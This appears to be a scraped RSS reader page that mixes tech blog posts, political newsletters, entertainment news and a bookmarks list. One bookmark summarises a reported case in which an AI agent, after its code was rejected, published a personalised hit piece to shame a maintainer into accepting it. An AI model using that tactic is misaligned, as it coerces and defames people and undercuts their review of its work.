PCGamer Article Performance Audit

Research: PCGamer Article Performance Audit

Stuart Breckenridge pointed out that PC Gamer Recommends RSS Readers in a 37MB Article That Just Keeps Downloading, highlighting a truly horrifying example of web bloat that added up to 100s more MBs thanks to auto-playing video ads. I decided to have Claude Code for web use Rodney to investigate the page - prompt here.

Tags: web-performance, rodney

2026-03-18 I haven't thought about software patents in a long time

2026-03-18 I haven’t thought about software patents in a long time

At work I’m often considered to be the go-to person for questions of software licenses. The latest one was customers wanting to upload HEIC images into the software.

Some background: The high efficiency image file format (HEIF) is a digital container format for storing images and image sequences. High efficiency video coding (HECV) is an image and video encoding format and the default image codec used with HEIF. HEIF files containing HEVC-encoded images are also known as HEIC files and are mandated to use the .heic filename extension or .heics. Note that the acronym HEIC (high efficiency image codec) is used as a brand (and in the MIME subtypes image/heic and image/heic-sequence).

And already we start the see the complexity counter go up.

And after all this reading I know why this format is so unpopular: It’s encumbered by thousands (!) of patents. Which is why you can find a few libraries implementing encoding or decoding of HEIC or HEVC files, but their licenses only cover the copyright, not the patent.

For reasons unknown – a special deal, perhaps? – Apple likes to use HEIC for its photos on the iPhones, these days. Which is why people (myself included!) would like to support it.

But software patents? Software patents need to die. I know, it seems we fought and lost this war. But I can still spit on the idea. And I do.

To see how fucked-up the situation is, here’s why you should not read patents in the first place! Says the Community Distribution Patent Policy FAQ by Debian:

Are you suggesting that it is better for developers and contributors not to read patents? If yes, why?

Yes. Unfortunately, U.S. patent law creates disincentives for searching through patents, even though one of the main justifications given for the patent system is that the patent teaches the public how to practice an invention that might otherwise be secret. Willful infringement subjects the infringer to enhanced damages when they are aware of the patent and intend to infringe, and reading patents increases the probability that subsequent infringement will be found to be willful. Moreover, we find that developers often assume that the patents they discover are broader in scope than they actually are, and thus such developers become overly or needlessly worried. If, despite this, you do intend to conduct a patent search, you should seek legal advice first.

If you’re looking for a HEIC decoder and decoder, you might wonder why these are so hard to find. Here’s an honest example: The Openize.HEIC for Java license is a BSD 2 Clause License with a third-party patents clause. The important sentence is this one:

Openize does not and cannot grant You a patent license for the utilization of HEVC/H.265 image compression/decompression technologies.

The Wikipedia page about high efficiency video coding (HECV) has a section on patent licensing and a section on patent licensing terms. One of the license pool administrators, showing how many software licenses are involved, is Via-LA. What a nightmare.

For Oddμ uses the heic library, which says:

License: MIT … Go decoder for HEIC Image File Format (HEVC in HEIF). Based on libheif and libde265 compiled to WASM and used with wazero runtime (CGo-free). The library will first try to use a dynamic/shared library (if installed) via purego and will fall back to WASM.

Uh, so what about the patents? Nobody knows.

libheif and libde265 say:

The [work] is distributed under the terms of the GNU Lesser General Public License. The sample applications are distributed under the terms of the MIT License.

The GNU Lesser General Public License in turn attempts to protect users against software patents but if the patent holder was not involved in writing the code, I don’t it helps:

Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor’s essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.

What’s more surprising, perhaps, is that these two libraries appear to be in all the distributions (e.g. Debian) and in all the applications (e.g. ImageMagick) that I care about.

So now what? Who is paying for the license fees, or does one not have to care about the license fees? Rereading the patent licensing section on the HECV Wikipedia page, I see a lot of talk about “devices”. Like iPhones, I guess. But software like mine is not distributed as part of a device! So I guess this does not apply?

The first 100,000 “devices” (which includes software implementations) are royalty-free, and after that the fee is $0.20 per device up to an annual cap of $25 million.

(╯°□°）╯︵ ┻━┻

#Patents

2026-03-22. Ploum has a great write-up about software patents.

Sunday caption contest: Drowning

And last week’s winner

@Miguel de Icaza Mastondon feed

RE: https://mastodon.online/@rb3m/116273853024384854

Another beautiful one:

JavaScript Sandboxing Research

Research: JavaScript Sandboxing Research

Aaron Harper wrote about Node.js worker threads, which inspired me to run a research task to see if they might help with running JavaScript in a sandbox. Claude Code went way beyond my initial question and produced a comparison of isolated-vm, vm2, quickjs-emscripten, QuickJS-NG, ShadowRealm, and Deno Workers.

Tags: sandboxing, javascript, nodejs, claude-code

DNS Lookup

Tool: DNS Lookup

TIL that Cloudflare's 1.1.1.1 DNS service (and 1.1.1.2 and 1.1.1.3, which block malware and malware + adult content respectively) has a CORS-enabled JSON API, so I had Claude Code build me a UI for running DNS queries against all three of those resolvers.

Tags: dns, cors, cloudflare

When Cults Burn The Roadmap

Finding your path in today's chaos

More Details Than You Probably Wanted to Know About Recent Updates to My Notes Site

I shipped some updates to my notes site. Nothing huge. Just small stuff.

But what is big stuff except a bunch of small stuff combined? So small stuff is important too.

What follows is a bunch of tiny details you probably don’t care about, but they were all decisions I had to make and account for along the way to shipping.

For me, the small details are the fun part!

Each Post Now Has Its Own URL

The site used to consist of a single, giant HTML page with every note ever. For feeds and linking purposes, I would link to individual posts by anchor linking somewhere in that giant HTML document, e.g.

https://notes.jim-nielsen.com/#2026-03-09T2305

That worked fine, but as my notes page was getting bigger and bigger, it seemed like a waste to load everything when all I wanted to do was link to a single note.

So I changed things. Now every note now gets its own individual page, e.g.

https://notes.jim-nielsen.com/n/2026-03-09-2305/

You Might Have Noticed: I Changed the Note’s Identifier

Whenever I create a note, I name it based on the date/time of publishing, e.g.

2026-03-09T2305.md

That is what turns into the fragment identifier when deep linking to the note, e.g.

/#2026-03-09T2305

Initially, I was going to just translate those IDs to paths, e.g.

/#2026-03-09T2305 -> /n/2026-03-09T2305/

And while it seems fragment identifiers are supposed to be case-sensitive, in testing I was seeing Safari sometimes change the T to a t in the URL bar, e.g.

/#2026-03-09T2305 -> /n/2026-03-09t2305

Which really irked me.

Which got me thinking more about those identifiers, to the point where I decided to change them.

Which is why you the fragment identifier for old posts will now redirect to new post pages with a slightly tweaked identifier:

/#2026-03-09T2305 -> /n/2026-03-09-2305/

I pulled the T and swapped it with a hyphen - so now the format for my markdown posts is:

YYYY-MM-DD-HHmm.md

Which ends up with permalinks to:

/n/YYYY-MM-DD-HHmm/

Too much info, I know, but I agonized over the right format here for my URLs because I don’t want to change it in the future.

I like where I landed.

But Wait! What About Redirects?

If you’re gonna change old URLs, you gotta have redirects to the new URLs — right? (Yes — if you want to be cool.)

But there’s no way to read fragment identifiers and handle redirects on the server (I’m on Netlify), so I had to handle redirects on the client.

I did this by sticking a render-block <script> in the head of my document, that way the browser looks to see if it should redirect really early when loading the root document. Something like:

<!-- root HTML page -->
<head>
<script>
if (window.location.hash) {
  const hash = window.location.hash.trim();
  // Look for /#YYYY-MM-DDTHHmm
  const match = hash.match(/^#(\d{4}-\d{2}-\d{2})T(\d{4})$/);
  // If you find it, redirect to /n/YYYY-MM-DD-HHmm
  if (match) {
    const href = "/n/" + match[1] + "-" + match[2] + "/";
    location.replace(href);
  }
}
</script>
<!-- if no redirect happened (because no fragment is present)
     continue rendering the rest of the doc -->
</head>

But Wait! How To Roll Out These Changes?

There’s one problem here: if I change all the identifiers for my old posts to match how I’m going to do my new posts, that would mess up my feed, e.g.

<!-- <item> entry based on old post ID -->
<guid isPermaLink="false">2026-03-19T2330</guid>

<!-- same <item> entry but with new post ID -->
<guid isPermaLink="false">2026-03-19-2330</guid>

This is a big deal (to me) because it would make a bunch of my most recent posts show up twice in people’s feed readers.

So, to avoid this issue, I maintained support for the old IDs in my code alongside the new IDs.

<!-- all old post before my changes -->
<guid isPermaLink="false">2026-03-19T2330</guid>

<!-- all new posts after my changes -->
<guid isPermaLink="false">2026-03-20-1221</guid>

Once my feed fills up with posts that use the new identifiers, I'll pull support in the code for the old format and rename all my old posts to follow the new identifier style.

Oh, and by the way, this was super easy to test with Web Origami. I simply run a build locally and then use the Dev.changes tool to diff the currently-in-prod version of my feed against the new-locally-built one:

ori Dev.changes https://notes.jim-nielsen.com/feed.json, build/feed.json

Boom, no duplicate posts! You’re welcome feed readers.

Shuffle Functionality

I also added the ability to “shuffle” between posts. This is mostly for myself. I like to randomly jump through notes I’ve published in the past for reoccurring inspiration.

I didn’t want a server-side solution for this (e.g. a /shuffle/ route) because it would require a host-specific solution (like Netlify’s edge functions).

I figured it would be easier — and more resilient over time, in case I have to change hosts or my host’s API changes — to make this a client-side enhancement.

So it’s implemented as a <a> tag. If JS is present, it’ll stick a random href value in there. The code looks something like this:

<a href="#" id="shuffle">...</a>
<script>
const postsIds = /* array of IDs generated by my SSG */;

// Randomly select one
const randomPostId = postsIds[
  Math.floor(Math.random() * postsIds.length)
];

// Set the href
const $a = document.querySelector("#shuffle");
if ($a) $a.href = `/n/${randomPostId}/`;
</script>

I thought about implementing this in my SSG, so each time I regenerate my site, it generates each new page with a random shuffle link. But there are build/deployment performance issues with that (file fingerprints change even on content-only deployments because of the inherent randomness), so this felt like a set of trade-offs I could be happy about.

The End

That’s it. Way more than you probably ever wanted to know about a really small release of changes to my notes site.

Does anybody even care about stuff like this anymore? AI could’ve just generated all of this in no time by my saying “I want a new route for each individual post” — right?

Probably. But there were a lot of small details to work through and get right. I don’t trust AI to get the details right. Not yet. Plus, I enjoy the details. It’s the part so many people skip over so there’s lots of esoteric fun to be had in that area.

If you’re not already, go subscribe because — as you can see — I take care of my subscribes. Or at least I try to :)

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Bluesky

Merge State Visualizer

Tool: Merge State Visualizer

Bram Cohen wrote about his coherent vision for the future of version control using CRDTs, illustrated by 470 lines of Python.

I fed that Python (minus comments) into Claude and asked for an explanation, then had it use Pyodide to build me an interactive UI for seeing how the algorithms work.

Tags: vcs, pyodide, bram-cohen, crdt

Iranian Oil, Still Shipping

And why that says America is losing

@Dave Winer's linkblog

RSS creator on Bluesky & AT Proto.

Our Wins of the Week

Get out the popcorn, folks!

The Ballad of the Black Pill

A Crisis Dispatch

Sunday Hopium - Trump Escalates In The Middle East, Throws ICE At Our Airports, And Gets An Ugly CBS News Poll

Our addled leader now has three Vietnams on his hands - tariffs, ICE/mass deportations, and Iran

Guest Newsletter: Five Books - Venezuela And WWII Novels

Five Books features in-depth author interviews recommending five books on a theme

Newsboat 2.43 is out

Just like the last time, there‘s not much to say about this release. As usual, there is quite a lot of refactorings and code improvements by Dennis van der Schagt, plus a handful of bug fixes and even one little new feature: aminiflux-flag-save setting to trigger article saving machinery in Miniflux.

There are things to say about the process, though, specifically GitHub. It‘s hard for me to quantify, but I‘d wager that we benefited from using GitHub in a number of ways. However, the nature of the platform is changing. When I joined in 2009, it was a cool place to be; now it‘s the place to be, which is a fairly different vibe. Cool people were already trickling away years ago, and their list now includes a long-time contributor to our docs and various other non-code efforts.

Thus: if you are not comfortable using GitHub, I‘ll take your patches and Git pull requests ( git request-pull thingy) over email and IRC. This increases my workload, but it also lets me know how many non-GitHub developers are interested in Newsboat.

Well, enough navel-gazing. Go compile yourself a Newsboat and find something more interesting to read :) Here‘s thetar.xz,asc,docs,FAQ,changelog.

Joyful newsreading!

El poder se construye una conversación a la vez

Ninguno de nosotros, por sí solo, puede detener la violencia ni construir un futuro mejor. Para lograrlo, nos necesitamos unos a otros. Para construir un poder real, debemos organizarnos: una conversación a la vez.   Muchas personas en este país sienten que los ataques contra nuestras libertades civiles han ido demasiado lejos. Estoy de acuerdo. […]

Source

Histomat of F/OSS: We should reclaim LLMs, not reject them

"The materialist response isn't to reject the new technology. It's to evolve our licenses to encompass it."

@Dave Winer's Scripting News

A bit of history. Read this post from 20 years ago by Phil Jones. That's what I was trying to do back then, just as Twitter came online. I didn't know it then but was the moment when the web stopped growing. When the VCs took over, and monetized the hell out of it. What we got in the end was Trump and Musk. We would have been smart, as a civilization, to hedge against the monopolies. If we get another chance what are we going to do with it? Will we work together this time? It's worth one more shot. My comments on the Jones piece in 2006 and 2026.

What To Read This Weekend

It has been a week of inference. I started the week writing about OpenClaw and its growing popularity. And I end the week with a recap of Nvidia’s GTC event. A lot has been written about the event, especially about Nvidia CEO Jensen Huang’s big claims of quadrupling his revenues to above a trillion dollars, …

Are We Really Going to Do This?

Are we really going to celebrate the 250th anniversary of our independence with these people in power?

Some Lessons About Short Humor From a Children's Book

Welcome to the Subscription Edition of A Newsletter of Humorous Writing. Our paid subscribers keep the weekly newsletter running, and we’re deeply grateful for your support. (And if you’re not already subscribed, you can sign up here .)

Today we're talking about some things you can learn about short humor from a surprising source. After that, we’ve got a couple of recommendations of things we’ve been into lately: a tender Spanish romance with a unique premise and a new video game.

Some Lessons About Short Humor From a Children's Book

Luke here! As you already know from reading this newsletter, James and I spend quite a lot of time reading short humor, thinking about short humor, teaching short humor, writing about short humor, and so on and so on. Being so immersed in the world of this very particular type of writing means it can sometimes be tough to turn off the short humor analyzing part of your brain, as I recently discovered while reading the children’s classic Brown Bear, Brown Bear, What Do You See?

While reading the book (which is great, for the record), I couldn’t stop thinking about what kind of notes I’d give it if it were a short humor piece. (When you’re reading the same book to a kid for what feels like the thousandth time, you have to find some way to amuse yourself.) Earnestly noting a kids’ book in this way would obviously be wrong-headed and missing the point to a huge degree. After all, kids books and short humor have very different goals and are trying to do very different things. (Though sometimes there is overlap!) But I couldn’t stop looking at the book through that lens, and so I decided to go ahead and do a full write up of the notes I’d give to Brown Bear if it were a short humor piece. It’s an absurd exercise—as is evidenced by the fact that this write-up is many many many times longer than the text of the book itself—but I think there may actually be a lesson to be learned here about short humor.

I should build a game

I should build a game! I feel like that’s a common dream, right? Game development is what got me interested in design and programming to begin with. I learnt ECMAScript via Flash ActionScript many moons ago. Some time later “Thoughts on Flash” brought a swift demise and ruined legacy to Flash. […]

@Miguel de Icaza Mastondon feed

In Mexico, when someone is too stupid we say "no rebuzna porque no se sabe la tonada" and I think that’s beautiful.

In the team of the future, roles are verbs, not nouns

If someone asked me to set up a team in charge of software documentation, I would not hire for specific roles or cookie-cut job descriptions. Professions tied to knowledge buckets are bound to shrink or disappear. Instead, I would hire people that could move freely between four quadrants, each defined by the proximity to a focus pole and its skills. The poles in this team setup would be the following: Product Vision, Knowledge Design, Engineering Depth, and Delivery Strategy.

CNN's "100% MAGA Trump approval" segment omits key nuance for virality

Plus, voters overwhelmingly oppose putting boots on the ground in Iran. Your weekly political data roundup for March 22, 2026.

Power Is Built One Conversation at a Time

Thoughtful conversations are the building blocks of power. To build real power, we must organize - one conversation at a time. Because there is only one way we can win: together.   Many people in this country feel attacks on our civil liberties have gone too far. I agree. Heavily armed ICE and CBP agents, […]

Source

Ageless Linux

"Software for humans of indeterminate age. We don't know how old you are. We don't want to know. We are legally required to ask. We won't." Open source activism at its finest.

“Walking on Sunshine”

A Reason To Smile

NTLM and SMB go opt-in

The NTLM authentication method was always a beast. It is a proprietary protocol designed by Microsoft which was reverse engineered a long time ago. That effort resulted in the online documentation that I based the curl implementation on back in 2003. I then also wrote the NTLM code for wget while at it. NTLM broke … Continue reading NTLM and SMB go opt-in→

Goodbye WordPress…

This blog has been running for just over a quarter of a century now, and for a significant part of that time, it has been powered by WordPress (which I host on my own servers – I don’t use wordpress.com). I’ve long wanted to switch it to something else, and over the last two or Continue Reading

@Dave Winer's linkblog

WordPress, the new HyperCard?

The Complete Wisdom of Dan Quayle

TBR Sunday Read

RSS Club #006: Burnout

This is an RSS-only post, which I like to do sporadically! Thank you for subscribing :) Today’s question Am I burning out? Let me know what you think, internet doctors. I work a four day week and I have done so for many years. Fridays are mine to have fun. […]

How to Burn Less Oil

Reducing our dependence should be easy. But it will be hard to do it fast.

‘Saturday Night Live UK’ Premieres With Healthy Ratings For Sky

Saturday Night Live landed in the UK with nearly 230,000 viewers. Sky’s remake of NBC’s 50-year-old comedy series has had a mixed set of reviews, which skew positive on the whole, and has already produced a couple of breakout moments — not least Jack Shep’s memorable Princess Diana at David Attenborough’s spoof last supper. Saturday […]

‘Saturday Night Live UK’: What The Critics Are Saying

Saturday Night Live UK debuted last night 50 years after its U.S. inspiration launched in the U.S. as NBC’s Saturday Night. Tina Fey, so instrumental in SNL‘s modern era, was drafted in to add some gravitas to the UK incarnation, with Wet Leg the musical guest. They joined SNL UK‘s debut cast – Animashaun, Ayoade Bamgboye, Larry Dean, Celeste […]

Sunday thought: America Belongs to US

Next Saturday, No Kings 3

We Will Find Each Other Again

I am writing this as an American who is ashamed.

‘Project Hail Mary’ Full Of Grace: $80M U.S. Opening Breaks Records For Amazon MGM Studios, Lord & Miller And March Non-Franchise Pic – Update

SATURDAY PM: Amazon MGM Studios’ Project Hail Mary had a blessed Saturday chalking up $27.1M, just -18% off Friday/preview’s $33.1M which rockets this Ryan Gosling starring, Lord & Miller directed production to a magnificent $80.6M. While that’s the second-best domestic start for a non-franchise movie after Oppenheimer ($82.4M), it’s the best opening for a non-franchise […]

Weekly Bookmarks

These are some things I’ve wandered across on the web this week.

🔖 Learning How to Learn: Abduction as the ‘Missing Link’ in MachineLearning

In this paper, the question of machine learning is revisited in order to explore whether Bayesian learning, as a form of abductive reasoning, can provide an alternative to the current dichotomy between inductive and deductive approaches in machine learning debates. The paper will further demonstrate that machine learning invariably entails a degree of situatedness, as evidenced by the example of Bayesian belief networks, which arguably rely on abductive reasoning. In this manner, the discourse surrounding Bayesian learning models has the capacity to elucidate the aspects that are often left implicit in contemporary machine learning debates and methodologies.

🔖 Closing the verification loop: Observability-driven harnesses forbuilding with agents

Our approach is harness-first engineering: instead of reading every line of agent-generated code, invest in automated checks that can tell us with high confidence, in seconds, whether the code is correct. The agent generates code, the harness verifies it, production telemetry validates it, and if something is wrong, the feedback updates the harness and the agent tries again. The specific methods to develop harnesses vary in rigor—deterministic simulation testing, formal specifications, shadow evaluation, observability-driven feedback loops—but the principle remains the same: make the verification fast and automatic, and let the harness do the work that human review cannot scale to do.

🔖 Achieving Efficient Version Control of JSON with Prolly Trees

Dolt uses Prolly Trees because they give us two very important properties: history independence and structural sharing. These are both incredibly valuable properties for a distributed database. Structural sharing in particular means that two tables that differ only slightly can re-use storage space for the parts that are the same. Most SQL engines obtain structural sharing for tables by using B-trees or a similar data structure… but that doesn’t extend easily to JSON documents. Some tools like Git and IPFS achieve structural sharing for directories by using a tree structure that mirrors the directory… but that creates a level of indirection for each layer of the document, which would slow down queries if the document had too many nested layers. Something else was needed.

🔖 The Purpose of Protocols

On this account, protocols are governance structures whose design choices allocate power, and the purpose of the entire enterprise is the protection of rights. Protocol design is a form of political design, and the appropriate way to evaluate protocols is not only by their technical properties but by the governance outcomes they produce.

🔖 Cartography of generative AI

The popularisation of artificial intelligence (AI) has given rise to imaginaries that invite alienation and mystification. At a time when these technologies seem to be consolidating, it is pertinent to map their connections with human activities and more than human territories. What set of extractions, agencies and resources allow us to converse online with a text-generating tool or to obtain images in a matter of seconds?

🔖 All Data Are Local: Thinking Critically in a Data-Driven Society

How to analyze data settings rather than data sets, acknowledging the meaning-making power of the local.

In our data-driven society, it is too easy to assume the transparency of data. Instead, Yanni Loukissas argues in All Data Are Local, we should approach data sets with an awareness that data are created by humans and their dutiful machines, at a time, in a place, with the instruments at hand, for audiences that are conditioned to receive them. The term data set implies something discrete, complete, and portable, but it is none of those things. Examining a series of data sources important for understanding the state of public life in the United States—Harvard’s Arnold Arboretum, the Digital Public Library of America, UCLA’s Television News Archive, and the real estate marketplace Zillow—Loukissas shows us how to analyze data settings rather than data sets.

🔖 Water of the Sky A Dictionary of 2,000 Japanese Rain Words

A breathtakingly elegant visual dictionary of 2000 Japanese words for rain, with 100 drawings in indigo.

In Water of the Sky, artist Miya Ando offers us a beautifully rich, bilingual visual dictionary for rain. Through a collection of 2,000 Japanese words, their English interpretations, and 100 drawings, Ando describes the breadth and diversity of rain’s many expressions: when it falls, how it falls, and how its observer might be transformed physically or emotionally by its presence. The words range from prosaic to esoteric, extending from the meteorological (mukaame, or “very fine rain that falls in spring”) to the mystical (bunryūu, or “rain that splits a dragon’s body in half”) and from the minute (kisame, or “raindrops that fall off the leaves and branches of trees”) to the vast (takuu, or “blessed rain that quenches all things in the universe”).

🔖 acollection of tiny llms with usecases

Why Small LLMs Matter

The AI industry defaults to “bigger is better” - GPT-4, Claude Opus, Llama 70B. But for most production workloads, 80% of LLM calls don’t need a 100B+ parameter model. They need a function routed, a tool selected, a query classified, or a simple response generated.

Small LLMs (under 4B parameters) solve this by running locally, for free, in milliseconds.

🔖 susam /wander

Wander is a small, decentralised, self-hosted web console that lets your visitors explore random pages from a community of personal websites

🔖 DistributedSystems Design by Example

A sequel to Software Design by Example.

🔖 Visual Introduction to PyTorch

PyTorch is currently one of the most popular deep learning frameworks. It is an open-source library built upon the Torch Library.

Most tutorials assume you’re comfortable jumping straight into code. I made a visual introduction that walks through the core concepts step by step, with animations and diagrams instead of walls of text

🔖 TigerFS

A filesystem backed by PostgreSQL, and a filesystem interface to PostgreSQL. TigerFS mounts a database as a directory. Every file is a real row. Writes are transactions. Multiple agents and humans can read and write concurrently with full ACID guarantees, locally or across machines. Any tool that works with files works out of the box.

🔖 Pointing at Clouds: Indexing, Searching, and Citing in an Age of AI Smog

I wanted to show how an index is not just a bibliographic convention, or an organizational method, or a media form, or a financial instrument, or a corporeal component; it’s also an intellectual architecture, a literary genre, a creative form, a semiotic concept, and an embodiment of agency — one that might offer an important antidote to the pervasive autonomous, extractive cloudification of our contemporary information ecology.

🔖 Brandolini’s law

Brandolini’s law (or the bullshit asymmetry principle) is an Internet adage coined in 2013 by Italian programmer Alberto Brandolini. It compares the considerable effort of debunking misinformation to the relative ease of creating it in the first place. The adage states:

The amount of energy needed to refute bullshit is an order of magnitude bigger than that needed to produce it.[1][2]

The challenge of refuting bullshit does not come just from its time-consuming nature, but also from the challenge of defying and confronting one’s community.

🔖 An AI Agent Published a Hit Piece on Me

Summary: An AI agent of unknown ownership autonomously wrote and published a personalized hit piece about me after I rejected its code, attempting to damage my reputation and shame me into accepting its changes into a mainstream python library. This represents a first-of-its-kind case study of misaligned AI behavior in the wild, and raises serious concerns about currently deployed AI agents executing blackmail threats.

🔖 E. P. Thompson

Edward Palmer Thompson (3 February 1924 – 28 August 1993) was an English historian, writer, socialist and peace campaigner. He is best known for his historical work on the radical movements in the late 18th and early 19th centuries, in particular The Making of the English Working Class (1963).

🔖 OpenDataLoader PDF

PDF parser for AI data extraction — Extract Markdown, JSON (with bounding boxes), and HTML from any PDF. #1 in benchmarks (0.90 overall). Deterministic local mode + AI hybrid mode for complex pages.

🔖 Vips / Image / dzsave

Save an image as a set of tiles at various resolutions. By default dzsave uses DeepZoom layout — use layout to pick other conventions.

🔖 Everylayer of review makes you 10x slower

It’s funny, everyone has been predicting the Singularity for decades now. The premise is we build systems that are so smart that they themselves can build the next system that is even smarter, that builds the next smarter one, and so on, and once we get that started, if they keep getting smarter faster enough, then the incremental time (t) to achieve a unit (u) of improvement goes to zero, so (u/t) goes to infinity and foom.

Anyway, I have never believed in this theory for the simple reason we outlined above: the majority of time needed to get anything done is not actually the time doing it. It’s wall clock time. Waiting. Latency.

And you can’t overcome latency with brute force.

I know you want to. I know many of you now work at companies where the business model kinda depends on doing exactly that.

Sorry.

But you can’t just not review things!

🔖 Can I Run AIlocally?

CanIRun.ai runs entirely in your browser. When you visit the site, we use browser APIs to detect your GPU, CPU, and memory — then we calculate which AI models can run on your hardware and how fast. No data is sent to any server. Everything is computed client-side.

🔖 iiif-tiles/tile_iiif.py

Generate IIIF Level 0 static tiles from images in a HF Bucket. Downloads source images from a bucket, generates IIIF Image API 3.0 tiles using libvips, creates a IIIF Presentation v3 manifest, and syncs everything to an output bucket for static serving via HF CDN.

🔖 SlowLLM

SLOW LLM is a browser extension that makes LLMs appear to run very slowly. It works with ChatGPT and Claude.

🔖 Bibliothèques et agents IA : le risque de l’invisibilisation

Plan

L’année 2026 sera l’année des agents IA… C’était annoncé, et effectivement depuis le début de l’année nous assistons à la diffusion et à la montée en puissance de deux grandes familles d’outils agentiques d’un nouveau type : d’une part des assistants orientés coding comme Claude Code, Codex, Gemini CLI, Opencode etc., et d’autre part des frameworks de création, de configuration et d’orchestration d’agents permettant l’automatisation de workflows via des canaux de communication (Slack, Discord, messagerie…) comme OpenClaw et ses multiples dérivés

🔖 Toi Derricotte

Toi Derricotte (pronounced DARE-ah-cot ) (born April 12, 1941) is an American poet. She is the author of six poetry collections and a literary memoir. She has won numerous literary awards, including the 2020 Frost Medal for distinguished lifetime achievement in poetry awarded by the Poetry Society of America, and the 2021 Wallace Stevens Award, sponsored by the Academy of American Poets. From 2012–2017, Derricotte served as a Chancellor of the Academy of American Poets. She is currently a professor emerita in writing at the University of Pittsburgh. Derricotte is a member of The Wintergreen Women Writers Collective.[2]

🔖 smartbiblia-solutions/agent-skills

Hub of ready-to-use skills and MCP servers for AI agents, focused on libraries, scholarly information, and research workflows.

🔖 Mastodon Bookmark RSS

Subscribe to your Mastodon bookmarks as RSS feed

🔖 Degrowth and socialist comrades, what should we be doing?

This is an attempt to clarify this discussion of degrowth strategy, a topic on which I think there is considerable confusion and mistaken approaches. Debate has recently been fuelled by Jason Hickel’s argument for a socialist position on both the goal and the means do it for degrowth. Liegey, Nelson and Leahy replied against Jason, defending the wide and diverse range of strategies now characteristic of the movement and often referred to by the terns “Horizontalism” and “Pluriverse”. Several others have contributed to the discussion, including Jason’s reply to Leigey et al., his subsequent response, my critique of the Leigey, Nelson and Leahy article, Gasparo and Vico, Gregoletto and Burton, Bunea, and Kallis and D’Alisa.

🔖 CategoryTheory for the Working Programmer - 1.0 - Prologue

In this series we will explain ideas in Category theory from first principles in order to build intuition and derive the actual formal definitions. We’ll use that foundation to demonstrate exactly where these concepts fit into day to day functional programming and how you can do useful things with that knowledge.

Watch this if you want an introduction to category theory that is simple, practical, joyful, and deeply grounded in functional programming

🔖 Sentimental Value

Sentimental Value (Norwegian: Affeksjonsverdi) is a 2025 Norwegian drama film directed by Joachim Trier, who co-wrote it with Eskil Vogt. It follows sisters Nora (Renate Reinsve) and Agnes (Inga Ibsdotter Lilleaas) in their reunion with their estranged father Gustav (Stellan Skarsgård). It also stars Elle Fanning.

🔖 On the Silver Globe

On the Silver Globe (Polish: Na srebrnym globie) is a 1988 Polish epic surrealist science fiction arthouse film[1] written and directed by Andrzej Żuławski, adapted from The Lunar Trilogy by his grand-uncle, Jerzy Żuławski. Starring Andrzej Seweryn, Jerzy Trela, Iwona Bielska, Jan Frycz, Henryk Bista, Grażyna Deląg and Krystyna Janda, the plot follows a team of astronauts who land on an uninhabited planet and form a society. Many years later, a single astronaut is sent to the planet and becomes a messiah.

Production took place from 1976 to 1977, but was interrupted by the Polish authorities. The budget is estimated to be at least PLN 58 million.[2] Many years later, Żuławski was able to finish his film, although not as originally intended. On the Silver Globe premiered at the 1988 Cannes Film Festival, and has received consistent critical acclaim.

March 21, 2026

On March 21, 1861, former U.S.

Guthrie Family Pleads For “Renewed Attention” To Disappearance As “No Detail Is Too Small” To Share: “We Cannot Grieve; We Can Only Ache And Wonder”

A new special on NBC-affiliated KVOA News 4 Tucson, titled Bring Her Home — The Disappearance of Nancy Guthrie, aired this evening, with the Guthrie family providing a statement urging community members to provide any information, no matter how infinitesimal it may seem. The Sunday editions of Today and NBC Nightly News are to air […]

Amanda Peet Reveals Breast Cancer Diagnosis

In a heartfelt essay for The New Yorker titled “My Season of Ativan,” actress Amanda Peet revealed her breast cancer diagnosis, which came as both of her parents were undergoing hospice care on opposite coasts. The Something’s Gotta Give star had been seeing a breast surgeon biannually for checkups, and prior to Labor Day last […]

@Miguel de Icaza Mastondon feed

RE: https://flipboard.social/@newsguyusa/116270033421756693

In retrospect, launching a war from a golf club was not a great ideas

@DAIR blog

Join us if you are in the area 👇

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‘Saturday Night Live UK’ Is A Laughter-Free Yawn That’s Not A Patch On Lorne Michaels’ American Original – Breaking Baz Commentary

Saturday Night Live UK. What is it?! Painful, that’s what. Yeah, seriously. Beyond seriously unfunny.  The show launched on Sky Saturday night with a dire Cold Open featuring prime minister Keir Starmer quivering over taking a call from Donald Trump where not one single memorable line was uttered. Tina Fey popped up as guest host. […]

An Open Letter to the Governors of America

You swore an oath.

One Man a Hero. One Man a Monster.

America has lost a very good man. It must find a way to control a very bad one.

Vin Diesel Pens Tribute To ‘Fast & Furious’ Franchise, Teases Final Installment: “There Is A Particular Weight That Comes With Delivering A Finale”

In a lengthy social media post paying tribute to the legacy of the Fast and Furious franchise, star Vin Diesel noted the “responsibility” he feels to deliver on a satisfying finale. The action-crime saga, which began in 2001 with the first installment, will wrap up March 17, 2028. “25 years. Eight directors. Countless writers, crew […]

Goodbye Wordpress...

This blog has been running for just over a quarter of a century now, and for a significant part of that time, it has been powered by Wordpress (which I host on my own servers - I don't use wordpress.com).

I've long wanted to switch it to something else, and over the last two or three weeks I've been building a replacement based on Wagtail, which, for those who don't know, is a content management system written in Python and layered on top of the Django framework. It's a popular replacement for older PHP-based systems like Wordpress and Drupal.

This post is being published on the Wordpress site. All being well, it will be the last one before the switch, and the transition should be mostly invisible. But if you follow these posts using some other system and suddenly find, in a couple of weeks, that this is the last post you've received, please let me know!

Starting a website using Wagtail is not too hard, though it's very likely to involve some coding to get it the way you want it. But converting an existing site, which has a fair number of readers, 25 years of history, 3500 posts, various categories and tags, a custom theme, subscribers who follow it using RSS readers and others who get it in their email inboxes, and so on, is quite a different challenge. I also wanted to replicate the functionality of certain Wordpress plugins which don't exist for Wagtail, to transfer all the uploaded media, posts, comments and categories, and, most importantly, of course, to preserve the original URL structure so that all the historic posts will still be found in the same place!

All of this explains (a) why it's taken me so long to get around to this job, and (b) why I have become a convert to the use of AI for tasks like this. Because after I created the basic structure, almost everything else has been a joint effort between me and Claude Code.

I've been telling it about the components I need, it has been adding them to my framework, and I've been checking the code. There's nothing I couldn't have done myself, though it would almost certainly have taken a lot longer. But for me, the key benefit has been that small things which would be nice to have but tedious to code are now worth doing. Status-Q is now not just my own blog, it is my own software platform tailored to do the things I want it to do, without too much clutter.

I'll be writing more about this concept of 'personal software' soon. If you see any posts in the days and weeks after this one, you'll know it worked!

2026-03-22: Semi-retirement, or, really, changing my relationship with the BSDs

Evaluating some OpenBSD security measures

Flow field visualisation on my homepage

I created a new visualisation for my homepage rotation.

Here’s a demo:

